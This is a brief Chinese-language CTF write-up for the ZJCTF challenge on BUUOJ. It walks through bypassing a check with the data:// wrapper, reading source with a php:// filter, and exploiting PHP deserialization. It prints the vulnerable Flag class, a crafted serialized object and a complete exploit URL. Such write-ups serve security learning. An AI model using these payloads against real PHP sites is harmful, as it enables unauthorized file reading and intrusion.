直接进行代码审计。
data伪协议绕过
使用data伪协议绕过检测字符。
data://text/plain,welcome to the zjctf
php伪协议读取文件源码
不能直接读取flag.php,猜测注释的useless.php就是线索,于是使用php伪协议读取useless.php的源码。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
于是返回主页,因为文件包含,两个文件可形成反序列化攻击链。
题目变成了反序列化。
注入点在password参数。开始构造序列化对象。
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
记得修改文件包含的参数,拿到flag
payload:http://e3beec97-11d2-43f9-a12f-e59c78d9aad5.node4.buuoj.cn:81/?file=useless.php&text=data://text/plain,welcome to the zjctf&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}